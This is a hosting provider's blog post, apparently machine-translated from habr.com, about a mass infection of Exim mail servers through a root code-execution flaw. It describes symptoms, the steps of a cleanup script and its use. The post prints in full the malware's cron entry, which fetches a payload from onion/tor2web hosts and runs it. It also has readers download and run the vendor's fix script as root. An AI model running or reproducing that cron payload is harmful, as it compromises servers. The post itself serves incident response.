has already made quite a stir, and quite a bit on the nerves of system administrators around the world.
On the wave of mass infections (many of our clients use Exim as a mail server), I quickly threw in a script to automate the solution of the problem. The script is far from ideal and full of suboptimal code, but it is a quick combat solution in order not to perform the same type of action on hundreds or even thousands of servers.
Works on servers with OS Centos, RHEL, Debian, Ubuntu if you have an Exim mail server installed.
How to understand that the server has been hacked?
Check running processes with the top command.
Infected servers experience 100% load generated by the [khrotlds] process. Also in the cron scheduler, a task with limited editing rights is added.
Warning section
All the infection incidents we encountered were absolutely identical; the second and third waves may differ, and the script may need to be modified for them. At the time of infection, cron jobs are irrevocably lost and must be restored manually. The script takes immediate action—it fearlessly updates Exim to patched versions, in the case of Centos 6 even from the test repository. The malware instance sits in memory, so the server desperately you need to reboot immediately after cleaning the crowns.
Important: The vulnerability allows executing code as root, which does not guarantee a XNUMX% recovery. Having root access to the server, you can hide almost anything on this server, so that it will be almost impossible to find it. It is guaranteed to completely cure the server only by a complete reinstallation, but it is far from always possible. If there is no way to reinstall the server, and the symptoms are the same as those described, you can try to quickly patch up the holes with this script.
Using the script, you do it at your own risk: we have tested the script on a number of servers, but there are always risks of incompatible software versions or conflicting settings.
Also, our script allows you to cure only one of the possible implementations of infection - it is possible that there are already other ways to exploit the vulnerability that have not fallen into our field of vision.
What does the script do?
1. If the operating system installed on the server:
- No Centos 6 updates Exim, reinstalls curl.
- Centos 6 — updates Exim from the EPEL test repository (release to the standard repositories is expected on 11-12.06), reinstalls curl.
2. Checks for infection on the server.
The script analyzes the scheduler jobs for suspicious inclusions.For example, these:
*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi; (${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /.cache/.ntp) && chmod +x /.cache/.ntp && /bin/sh /.cache/.ntp
2a. If there are traces of a virus script in the /etc folder, it does the following
- stops cron
- kills the process started by the virus script
- kills curl wget sh processes four times (run by the virus on schedule)
- clears the mail queue of all messages (infected messages are difficult to separate from harmless ones, so have to delete the whole line)
- allows deletion of files containing malicious script fragments:
/etc/cron.daily/cronlog /etc/cron.d/root /etc/cron.d/.cronbus /etc/cron.hourly/cronlog /etc/cron.monthly/cronlog /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.d/root /etc/crontab /root/.cache/ /root/.cache/a /usr/local/bin/nptd /root/.cache/.kswapd /usr/bin/[kthrotlds] /root/.ssh/authorized_keys /.cache/* /.cache/.sysud /.cache/.a /.cache/.favicon.ico /.cache/.kswapd /.cache/.ntp - removes these files
- removes the autostart job in /etc/rc.local
- removes attacker's key from allowed ssh keys
- starts cron
- and immediately restarts the server
2b. If there are no signs of infection, the script exits.
Clarifications
All cron scheduler jobs are deleted by the virus. Therefore, after rebooting the server, they must be reconfigured or restored from a backup.
curl is also infected with a virus, so it is reinstalled.
Reboot (the script performs it automatically after disinfection) is required - otherwise the malware is stored in the server's memory and reproduces itself every 30 seconds even after the infected files are deleted.
How to use?
Traditionally: before starting, make sure that you have an up-to-date backup copy of the server data.
To run a script:
Connect to the server via ssh as a user with root privileges. You can also use the Shell client in the ISPmanager - Tools panel.
In the terminal, enter the command:
wget https://lechillka.firstvds.ru/exim_rce_fixer.sh && chmod +x exim_rce_fixer.sh && ./exim_rce_fixer.shWait for the script to complete and restart the server.
After the reboot, check the operation of the server and sites/applications hosted on it, reconfigure or restore tasks in cron from a backup.
And finally
Essentially, the script is temporary solution to restore server performance, for guaranteed prevention, the best solution is to switch to a new server with the version of the operating system that no longer contains the vulnerability.
All recommendations for finalizing / processing the script are welcome. If you encounter another symptom of infection, please show it. Cooperation during moments of mass infections significantly reduces the time needed to eliminate these infections.
Good luck!
UPD1: .
.
Source: habr.com
